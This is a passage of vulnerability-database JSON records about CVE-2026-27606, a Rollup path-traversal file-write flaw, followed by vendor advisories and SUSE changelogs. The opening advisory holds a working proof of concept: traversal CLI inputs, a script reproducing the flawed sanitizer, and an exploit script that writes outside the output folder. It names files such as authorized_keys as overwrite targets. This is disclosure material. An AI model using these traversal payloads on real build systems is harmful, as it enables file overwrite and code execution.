write.\n\n### PoC\nA demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.\n\n**Scenario: CLI Named Input Exploit**\n1.  Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).\n2.  Execute Rollup with a specifically crafted named input where the key contains traversal characters:\n    ```bash\n    rollup --input \"a/../../pwned.js=main.js\" --dir dist\n    ```\n3.  **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.\n\n**Reproduction Files provided :**\n*   `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.\n*   `exploit.py`: Automated script to run the PoC and verify the file escape.\n\nvuln_app.js\n```js\nconst path = require('path');\nconst fs = require('fs');\n\n/**\n * REPLICATED ROLLUP VULNERABILITY\n * \n * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)\n * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)\n */\n\nfunction sanitize(name) {\n    // The vulnerability: Rollup's regex fails to strip dots and slashes, \n    // allowing path traversal sequences like '../'\n    return name.replace(/[\\u0000-\\u001F\"#$%\u0026*+,:;\u003c=\u003e?[\\]^`{|}\\u007F]/g, '_');\n}\n\nasync function build(userSuppliedName) {\n    const outputDir = path.join(__dirname, 'dist');\n    const fileName = sanitize(userSuppliedName);\n\n    // Vulnerability: path.resolve() follows traversal sequences in the filename\n    const outputPath = path.resolve(outputDir, fileName);\n\n    console.log(`[*] Target write path: ${outputPath}`);\n\n    if (!fs.existsSync(path.dirname(outputPath))) {\n        fs.mkdirSync(path.dirname(outputPath), { recursive: true });\n    }\n\n    fs.writeFileSync(outputPath, 'console.log(\"System Compromised!\");');\n    console.log(`[+] File written successfully.`);\n}\n\nbuild(process.argv[2] || 'bundle.js');\n\n```\n\nexploit.py\n```py\nimport subprocess\nfrom pathlib import Path\n\ndef run_poc():\n    # Target a file outside the 'dist' folder\n    poc_dir = Path(__file__).parent\n    malicious_filename = \"../pwned_by_rollup.js\"\n    target_path = poc_dir / \"pwned_by_rollup.js\"\n\n    print(f\"=== Rollup Path Traversal PoC ===\")\n    print(f\"[*] Malicious Filename: {malicious_filename}\")\n    \n    # Trigger the vulnerable app\n    subprocess.run([\"node\", \"poc/vuln_app.js\", malicious_filename])\n\n    if target_path.exists():\n        print(f\"[SUCCESS] File escaped 'dist' folder!\")\n        print(f\"[SUCCESS] Created: {target_path}\")\n        # target_path.unlink() # Cleanup\n    else:\n        print(\"[FAILED] Exploit did not work.\")\n\nif __name__ == \"__main__\":\n    run_poc()\n```\n\n## POC \n```rollup --input \"bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js\" --dir dist```\n\n\u003cimg width=\"1918\" height=\"1111\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4\" /\u003e\n\n\n\n### Impact\nThis is a **High** level of severity vulnerability.\n*   **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.\n*   **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.\n*   **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.","status":"published","published":"2026-02-25T22:37:26Z","modified":"2026-09-10T03:50:35.380273715Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:52.534897Z"},{"id":"RHSA-2026:13508","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update","status":"published","published":"2026-05-05T10:11:48Z","modified":"2026-10-20T10:04:49Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:53:18.066978Z"},{"id":"RHSA-2026:13512","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-05-05T10:11:48Z","modified":"2026-10-20T10:04:50Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:53:18.066978Z"},{"id":"ROOT-APP-NPM-CVE-2026-27606","title":"CVE-2026-27606 in rollup - Patched by Root","description":"Root has patched CVE-2026-27606 in the rollup package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-02T10:02:50Z","modified":"2026-09-02T12:30:03.029909243Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"UBUNTU-CVE-2026-27606","description":"Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.","status":"published","published":"2026-02-25T03:16:00Z","modified":"2026-10-27T04:17:53.257298466Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:56:08.726452Z"},{"id":"CLSA-2026-1773879455","title":"TuxCare security update for rollup (2 CVEs)","description":"TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.41.6-tuxcare.1.","status":"published","published":"2026-08-04T14:52:13Z","modified":"2026-10-15T09:47:46.810808649Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774225184","title":"TuxCare security update for rollup (2 CVEs)","description":"TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.57.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:47:01.680538446Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1775176078","title":"TuxCare security update for rollup (1 CVE)","description":"TuxCare rebuilt rollup to address 1 CVE. Fixed in 2.79.2-tuxcare.4.","status":"published","published":"2026-08-04T14:52:20Z","modified":"2026-10-15T09:45:42.811424419Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775521840","title":"TuxCare security update for rollup (1 CVE)","description":"TuxCare rebuilt rollup to address 1 CVE. Fixed in 2.38.4-tuxcare.5.","status":"published","published":"2026-08-04T14:52:22Z","modified":"2026-10-15T09:47:49.42265339Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775521842","title":"TuxCare security update for rollup (1 CVE)","description":"TuxCare rebuilt rollup to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-08-04T14:52:22Z","modified":"2026-10-26T13:30:09.853300882Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775781165","title":"TuxCare security update for rollup (2 CVEs)","description":"TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.36.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:23Z","modified":"2026-10-15T09:46:36.657988336Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775781168","title":"TuxCare security update for rollup (2 CVEs)","description":"TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.63.5-tuxcare.1.","status":"published","published":"2026-08-04T14:52:23Z","modified":"2026-10-15T09:46:35.993315654Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775781172","title":"TuxCare security update for rollup (2 CVEs)","description":"TuxCare rebuilt rollup to address 2 CVEs. Fixed in 3.15.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:24Z","modified":"2026-10-15T09:46:36.658170324Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775781179","title":"TuxCare security update for rollup (2 CVEs)","description":"TuxCare rebuilt rollup to address 2 CVEs. Fixed in 0.56.4-tuxcare.1.","status":"published","published":"2026-08-04T14:52:24Z","modified":"2026-10-15T09:46:37.652631973Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1777423178","title":"TuxCare security update for rollup (2 CVEs)","description":"TuxCare rebuilt rollup to address 2 CVEs. Fixed in 2.77.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:29Z","modified":"2026-10-15T09:45:51.178644532Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1784596332","title":"TuxCare security update for rollup (1 CVE)","description":"TuxCare rebuilt rollup to address 1 CVE. Fixed in 0.59.4-tuxcare.1.","status":"published","published":"2026-08-04T14:52:45Z","modified":"2026-10-15T09:47:36.218414183Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1792160912","title":"TuxCare security update for @rollup/rollup-android-arm64 (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-android-arm64 to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:28:28Z","modified":"2026-10-16T16:30:45.177692226Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161062","title":"TuxCare security update for @rollup/rollup-android-arm-eabi (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-android-arm-eabi to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:02Z","modified":"2026-10-16T16:30:56.408445618Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161063","title":"TuxCare security update for @rollup/rollup-darwin-arm64 (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-darwin-arm64 to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:03Z","modified":"2026-10-16T16:30:47.672954792Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161064","title":"TuxCare security update for @rollup/rollup-darwin-x64 (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-darwin-x64 to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:04Z","modified":"2026-10-16T16:30:47.677485131Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161065","title":"TuxCare security update for @rollup/rollup-linux-arm-gnueabihf (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-linux-arm-gnueabihf to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:05Z","modified":"2026-10-16T16:30:47.675268524Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161066","title":"TuxCare security update for @rollup/rollup-linux-arm-musleabihf (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-linux-arm-musleabihf to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:06Z","modified":"2026-10-16T16:30:47.970958606Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161067","title":"TuxCare security update for @rollup/rollup-linux-arm64-gnu (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-linux-arm64-gnu to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:07Z","modified":"2026-10-16T16:30:47.674386939Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161068","title":"TuxCare security update for @rollup/rollup-linux-arm64-musl (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-linux-arm64-musl to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:08Z","modified":"2026-10-16T16:30:56.656122489Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161072","title":"TuxCare security update for @rollup/rollup-linux-riscv64-gnu (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-linux-riscv64-gnu to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:12Z","modified":"2026-10-16T16:30:57.111518807Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161073","title":"TuxCare security update for @rollup/rollup-linux-s390x-gnu (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-linux-s390x-gnu to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:13Z","modified":"2026-10-16T16:30:56.46021252Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161074","title":"TuxCare security update for @rollup/rollup-linux-x64-gnu (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-linux-x64-gnu to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:14Z","modified":"2026-10-16T16:30:56.463602981Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161075","title":"TuxCare security update for @rollup/rollup-linux-x64-musl (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-linux-x64-musl to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:15Z","modified":"2026-10-16T16:30:57.109105482Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161076","title":"TuxCare security update for @rollup/rollup-win32-arm64-msvc (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-win32-arm64-msvc to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:16Z","modified":"2026-10-16T16:30:56.760319438Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161077","title":"TuxCare security update for @rollup/rollup-win32-ia32-msvc (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-win32-ia32-msvc to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:17Z","modified":"2026-10-16T16:30:57.110092733Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161079","title":"TuxCare security update for @rollup/rollup-win32-x64-msvc (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-win32-x64-msvc to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-16T14:31:18Z","modified":"2026-10-16T16:30:56.755124416Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1793009952","title":"TuxCare security update for @rollup/rollup-linux-powerpc64le-gnu (1 CVE)","description":"TuxCare rebuilt @rollup/rollup-linux-powerpc64le-gnu to address 1 CVE. Fixed in 4.22.4-tuxcare.1.","status":"published","published":"2026-10-26T10:19:12Z","modified":"2026-10-26T13:30:14.42037612Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793207004","title":"TuxCare security update for rollup (2 CVEs)","description":"TuxCare rebuilt rollup to address 2 CVEs. Fixed in 1.32.1-tuxcare.1.","status":"published","published":"2026-10-28T17:03:24Z","modified":"2026-10-28T19:45:12.029626064Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"openSUSE-SU-2026:10263-1","title":"heroic-games-launcher-2.20.0-2.1 on GA media","description":"These are all security issues fixed in the heroic-games-launcher-2.20.0-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-02-26T00:00:00Z","modified":"2026-03-23T04:54:37.738196Z","updated_at":"2026-11-02T16:58:38.101535Z"},{"id":"openSUSE-SU-2026:11126-1","title":"velociraptor-0.7.0.4.git185.a5708584-2.1 on GA media","description":"These are all security issues fixed in the velociraptor-0.7.0.4.git185.a5708584-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-25T00:00:00Z","modified":"2026-06-26T08:15:07.590096547Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"SUSE-SU-2026:1013-1","title":"Security update 5.0.7 for Multi-Linux Manager Client Tools","description":"This update fixes the following issues:\n\ndracut-saltboot:\n\n- Version update to 1.1.0:\n\n  * Retry DHCP requests up to 3 times (bsc#1253004)\n\ngolang-github-QubitProducts-exporter_exporter:\n\n- Non-customer-facing optimization and update\n\ngolang-github-boynux-squid_exporter:\n\n- Version update from 1.6.0 to 1.13.0 with the following highlighted changes and fixes (jsc#PED-14971):\n\n  * Added compatibility for Squid 6 and support for the squid-internal-mgr metrics path\n  * Added TLS and Basic Authentication to the exporter’s web interface\n  * Added support for the exporter to authenticate against the Squid proxy itself\n  * Allow the gathering of process information without requiring root privileges\n  * The exporter can now be configured using environment variables\n  * Added support for custom labels to all exported metrics for better data filtering\n  * New metrics to track if Squid is running (squid_up), how long a scrape takes, and if any errors occurred\n  * Added 'service time' metrics to analyze proxy speed and performance.\n  * Added a metric for open file descriptors (process_open_fds) to help prevent connection bottlenecks\n  * Corrected the squid_client_http_requests_total metric to ensure accurate reporting\n\n\ngolang-github-lusitaniae-apache_exporter:\n\n- Version update from 1.0.8 to 1.0.10:\n\n  * Updated github.com/prometheus/client_golang to 1.21.1\n  * Updated github.com/prometheus/common to 0.63.0\n  * Updated github.com/prometheus/exporter-toolkit to 0.14.0\n  * Fixed signal handler logging\n\ngolang-github-prometheus-prometheus:\n\n- Security issues fixed:\n\n  * CVE-2026-27606: Fixed arbitrary file write via path traversal in rollup (bsc#1258893)\n  * CVE-2026-25547: Fixed unbounded brace range expansion leading to excessive CPU and memory consumption (bsc#1257841)\n  * CVE-2026-1615, CVE-2025-61140 The old web UI is no longer built due to security issues (bsc#1257897, bsc#1257442)\n  * CVE-2025-13465: Bump lodash package to version 4.17.23 to fix prototype pollution vulnerability (bsc#1257329)\n  * CVE-2025-12816: Interpretation conflict vulnerability allowing bypassing cryptographic verifications (bsc#1255588)\n\n- Version update from 2.53.4 to 3.5.0 with the following highlighted changes (jsc#PED-13824):\n\n  * Modernized Interface: Introduced a brand-new UI\n  * Enhanced Cloud and Auth: Added unified AWS service discovery (EC2, ECS, Lightsail) and Azure Workload Identity support\n    for more secure, native cloudauthentication.\n  * Performance Standards: Fully integrated OpenTelemetry (OTLP) ingestion and moved Native Histograms from experimental\n    to a stable feature.\n  * Advanced Data Export: Rolled out Remote Write 2.0, offering better performance and metadata handling when sending\n    data to external systems.\n  * Query Power: Added new PromQL functions (like first_over_time and last_over_time) and optimization for grouping\n    operations\n  * Better Visibility: The UI now displays detailed relabeling steps, scrape intervals, and timeouts, making it easier\n    to troubleshoot why targets aren't reporting correctly.\n  * Critical Fixes: Resolved significant memory leaks related to query logging and fixed bugs where targets were\n    accidentally being scraped multiple times\n\ngrafana:\n\n- Security issues fixed:\n\n  * CVE-2026-21722: Public dashboards annotations: use dashboard timerange if time selection disabled (bsc#1258136)\n  * CVE-2026-21721: Fixed access control by the dashboard permissions API (bsc#1257337)\n  * CVE-2026-21720: Fixed unauthenticated DoS (bsc#1257349)\n  * CVE-2025-68156: Fixed potential DoS via unbounded recursion in builtin functions (bsc#1255340)\n  * CVE-2025-3415: Fixedexposure of DingDing alerting integration URL to Viewer level users (bsc#1245302)\n\n- Version update from 11.5.10 to 11.6.11 with the following highlighted changes and fixes:\n \n  * Performance Boost: Introduced WebGL-powered geomaps for smoother map visualizations and\n    removed blurred backgrounds from UI overlays to speed up the interface\n  * One-Click Actions: Visualizations now support faster navigation via one-click links and actions\n  * Alerting History: Added version history for alert rules, allowing you to track changes over time\n  * Service Accounts: Automated the migration of old API keys to more secure Service Accounts upon startup\n  * Cron Support: Annotations now support Cron syntax for more flexible scheduling\n  * Identity and Auth: Hardened the Avatar feature (now requires sign-in) and fixed several login redirection issues\n    when Grafana is hosted on a subpath\n  * Data Source Support: Added support for Cloud Partner Prometheus data sources and improved Azure legend formatting\n  * Alerting Limits: Added size limits for expanded notification templates to prevent system strain\n  * RBAC: Integrated Role-Based Access Control (RBAC) into the Alertmanager via the reqAction field\n  * Data Consistency: Fixed several issues with Graphite and InfluxDB regarding how variables are handled in repeated\n    rows or nested queries\n  * Dashboard Reliability: Resolved bugs involving row repeats and 'self-referencing' data links\n  * Alerting Fixes: Patched a critical 'panic' (crash) caused by a race condition in alert rules and fixed issues where\n    contact points weren't working correctly\n  * URL Handling: Fixed a bug where 'true' values in URL parameters weren't being read correctly\n\nprometheus-blackbox_exporter:\n\n- Non-customer-facing optimization and update\n\nspacecmd:\n\n- Version update to 5.0.15:\n\n  * Fixed typo in spacecmd help ca-cert flag (bsc#1253174)\n  * Convert cached IDs to integer values (bsc#1251995)\n  * Fixed spacecmd binary file upload (bsc#1253659)\n\nuyuni-tools:\n\n- Version update to 0.1.38:\n\n  * Fixed cobbler configuration when migrating to standalone files (bsc#1256803)\n  * Detect custom apache and squid config in the /etc/uyuni/proxy folder\n  * Add ssh tuning to configure sshd (bsc#1253738)\n  * Ignore supportconfig errors (bsc#1255781)\n  * Bumped the default image tag to 5.0.7\n  * Removed cgroup mount for podman containers (bsc#1253347)\n  * Registry flag can be a string (bsc#1254589)\n  * Use static supportconfig name to avoid dynamic search (bsc#1257941)\n\n","status":"published","published":"2026-03-25T10:11:52Z","modified":"2026-03-26T09:00:33.541819Z","updated_at":"2026-11-02T15:54:01.262144Z"},{"id":"SUSE-SU-2026:1148-1","title":"Security Beta update 5.2.0 Beta1 for Multi-Linux Manager Client Tools","description":"This update fixes the following issues:\n\ngolang-github-prometheus-prometheus:\n\n- CVE-2026-27606: Fix arbitrary file write via path traversal in\n  rollup (bsc#1258893)\n  * Bump rollup to version 4.59.0\n- Drop SLE 12 support (jsc#PED-15474)\n- CVE-2026-25547: Fix unbounded brace range expansion leading to\n  excessive CPU and memory consumption (bsc#1257841):\n  * Bump brace-expansion to version 5.0.2\n- Do not build old web UI. Fixes following security\n  vulnerabilities:\n  * CVE-2026-1615: jsonpath: arbitrary code injection due to unsafe\n    evaluation of user-supplied JSON Path expressions (bsc#1257897)\n  * CVE-2025-61140: jsonpath: the `value` function is vulnerable to\n    prototype pollution (bsc#1257442)\n- Set source URL in the spec file and drop tar service\n\ngrafana:\n\n- Drop support for SLE 12 (jsc#PED-15474)\n- Update to version 11.6.11:\n  Features and enhancements:\n  * Alerting: Add limits for the size of expanded notification\n    templates\n  * Correlations: Remove support for org_id=0\n  Security:\n  * CVE-2026-21722: Public dashboards annotations: use dashboard\n    timerange if time selection disabled (bsc#1258136)\n- Update to version 11.6.10:\n  * API: Add missing scope check on dashboards\n  * Avatar: Require sign-in, remove queue, respect timeout\n  Bug fixes:\n  * Alerting: Fix a race condition panic in ResetStateByRuleUID\n- Update to version 11.6.9:\n  * Plugins: Add PluginContext to plugins when scenes is disabled\n  * Alerting: Fix contacts point issues\n- Update to version 11.6.8:\n  * Alerting: Fix unmarshalling of GettableStatus to include time\n    intervals\n- Update to version 11.6.7:\n  * Auth: Fix render user OAuth passthrough\n  * LDAP Authentication: Fix URL to propagate username context as\n    parameter\n  * Plugins: Dependencies do not inherit parent URL for preinstall\n  * URLParams: Stringify true values as key=true always (fixes\n    issues with variables with true value)\n- Update to version 11.6.6:\n  * Alerting: Fix copying of recording rule fields\n  * Fix redirection after login when Grafana is served from subpath\n- Update to version 11.6.5:\n  * Alerting: Bump alerting package to include change to\n    NewTLSClient\n- Update to version 11.6.4:\n  * StateTimeline: Add endTime to tooltip\n  * Unified storage: Respect GF_DATABASE_URL override\n  * Alerting: Fix group interval override when adding new rules\n  * Azure: Fix legend formatting\n  * Azure: Fix resource name determination in template variable\n    queries\n  * Graphite: Fix annotation queries\n  * Graphite: Fix date mutation\n  * Graphite: Fix nested variable interpolation for repeated rows\n- Update to version 11.6.3:\n  * Fixes CVE-2025-3415\n- Update to version 11.6.2:\n  * Dashboard: Fixes issue with row repeats and first row\n  * Graphite: Ensure template variables are interpolated correctly\n  * Graphite: Fix Graphite series interpolation\n  * Prometheus: Fix semver import path\n- Update to version 11.6.1:\n  * DashboardScenePage: Correct slug in self referencing data links\n  * GrafanaUI: Use safePolygon close handler for interactive\n    tooltips instead of a delay\n  * Prometheus: Add support for cloud partners Prometheus data\n    sources\n  * Alertmanager: Add Role-Based Access Control via reqAction Field\n  * GrafanaUI: Remove blurred background from overlay backdrops to\n    improve performance\n  * InfluxDB: Fix nested variable interpolation\n  * LDAP test: Fix page crash\n  * Org redirection: Fix linking between orgs\n- Upgrade to version 11.6.0:\n  * Visualisations: One click links and actions\n  * Annotations: Add cron syntax support\n  * WebGL-powered geomaps for better performance\n  * Alerting: Add alert rule version history\n  * API keys: Migrate API keys to service accounts at startup\n\nmgr-push:\n\n- Version 5.2.3-0\n  * Disable build for SLES 16\n\nrhnlib:\n\n- Version 5.2.4-0\n  * Disable build for SLES 16\n\nspacecmd:\n\n- Version 5.2.6-0\n  * Update translation strings\n\nspacewalk-client-tools:\n\n- Version 5.2.4-0\n  * Disable build for SLES 16\n\nuyuni-common-libs:\n\n- Version 5.2.3-0\n  * Disable build for SLES 16\n\nuyuni-tools:\n\n- Version 5.2.5-0\n  * Remove migrate command\n  * Remove template script from mgradm: use the one in the image\n  * Split the TFTP server into a separate container\n  * Explicitly start proxy pods after operations\n    (bsc#1258015)\n  * Adjust mgrctl server filter to work with the new helm chart\n    labels\n  * Remove hub register command\n  * Remove the Kubernetes install and upgrade from mgrpxy\n  * Optimize postgres migration disk space usage (bsc#1257447)\n\nvenv-salt-minion:\n\n- Fix the issue preventing SELinux profile to be loaded on SLES 16\n  deployed using cloud images (bsc#1258957)\n- Fix the typo causing buiding EL9 bundle without binary dependencies\n- Backport security patches for Salt vendored tornado:\n  * CVE-2025-67724: missing validation of supplied reason phrase (bsc#1254903)\n  * CVE-2025-67725: fix DoS via malicious HTTP request (bsc#1254905)\n  * CVE-2025-67726: fix HTTP header parameter parsing algorithm (bsc#1254904)\n- CVE-2025-62349: Add minimum_auth_version to enforce security (bsc#1254257)\n- CVE-2025-62348: Junos module yaml loader fix (bsc#1254256)\n    \nMulti-Linux-ManagerTools-Beta-SLE-Micro-release:\n  - Make the product installable on all SLE Micro 5 family","status":"published","published":"2026-03-30T11:21:20Z","modified":"2026-03-31T08:00:12.592036Z","updated_at":"2026-11-02T15:54:01.262144Z"},{"id":"SUSE-SU-2026:1524-1","title":"Security update 5.1.3 for Multi-Linux Manager Client Tools","description":"This update fixes the following issues:\n\ngolang-github-lusitaniae-apache_exporter:\n\n- Internal changes to fix build issues with no impact for customers\n    \ngolang-github-prometheus-prometheus:\n\n- Security issues fixed:\n\n  * CVE-2026-27606: Fixed arbitrary file write via path traversal in rollup (bsc#1258893)\n    + Bumped rollup to version 4.59.0\n  * CVE-2026-25547: Fixed unbounded brace range expansion leading to excessive CPU and memory consumption (bsc#1257841)\n    + Bumped brace-expansion to version 5.0.2\n  * CVE-2026-1615, CVE-2025-61140 The old web UI is no longer built due to security issues (bsc#1257897, bsc#1257442)\n  * CVE-2025-13465: Bumped lodash package to version 4.17.23 to fix prototype pollution vulnerability (bsc#1257329)\n  * CVE-2026-33186: Fixed authorization bypass due to improper validation of the HTTP/2 :path pseudo-header (bsc#1260267)\n    + Bumped google.golang.org/grpc to version 1.79.3\n    \n    \ngrafana:\n\n- Security issues fixed:\n\n  * CVE-2026-21722: Public dashboards annotations: use dashboard timerange if time selection disabled (bsc#1258136)\n  * CVE-2026-21721: Fixed access control by the dashboard permissions API (bsc#1257337)\n  * CVE-2026-21720: Fixed unauthenticated DoS (bsc#1257349)\n  * CVE-2025-3415: Fixed exposure of DingDing alerting integration URL to Viewer level users (bsc#1245302)\n  * CVE-2026-26958: Bumped filippo.io/edwards25519 to version 1.1.1 (bsc#1258595)\n  * CVE-2026-21725: Fixed missing UID when deleting datasource by name (bsc#1258873)\n  * CVE-2026-21725: Fixed missing UID when deleting datasource by name (bsc#1258873)\n  * CVE-2026-27876: Fixed remote arbitrary code execution via chained SQL Expressions (bsc#1261025)\n  * CVE-2026-27877: Fixed information disclosure of data-source passwords via public dashboards (bsc#1261026)\n  * CVE-2026-28375: Fixed denial of service via testdata data-source (bsc#1261029)\n  * CVE-2026-27879: Fixed denial of service via resample query (bsc#1261027)\n  * CVE-2026-33186: Fixed authorization bypass due to improper validation of the HTTP/2 :path pseudo-header (bsc#1260263)\n  * CVE-2026-21724: Fixed authorization bypass allows modification of protected webhook URLs (bsc#1260878)\n\n- Version update from 11.5.10 to 11.6.14+security01 with the following highlighted changes and fixes:\n    \n  * Public Dashboards: Wired the public dashboard service to the HTTP server to ensure proper connectivity and availability\n  * Authentication: Refined the redirect logic to ensure consistent behavior during login and logout sequences\n  * Dashboard Reliability: Resolved a bug preventing single panels from rendering correctly when dashboard variables are referenced\n  * Performance Boost: Introduced WebGL-powered geomaps for smoother map visualizations and\n    removed blurred backgrounds from UI overlays to speed up the interface\n  * One-Click Actions: Visualizations now support faster navigation via one-click links and actions\n  * Alerting History: Added version history for alert rules, allowing you to track changes over time\n  * Service Accounts: Automated the migration of old API keys to more secure Service Accounts upon startup\n  * Cron Support: Annotations now support Cron syntax for more flexible scheduling\n  * Identity and Auth: Hardened the 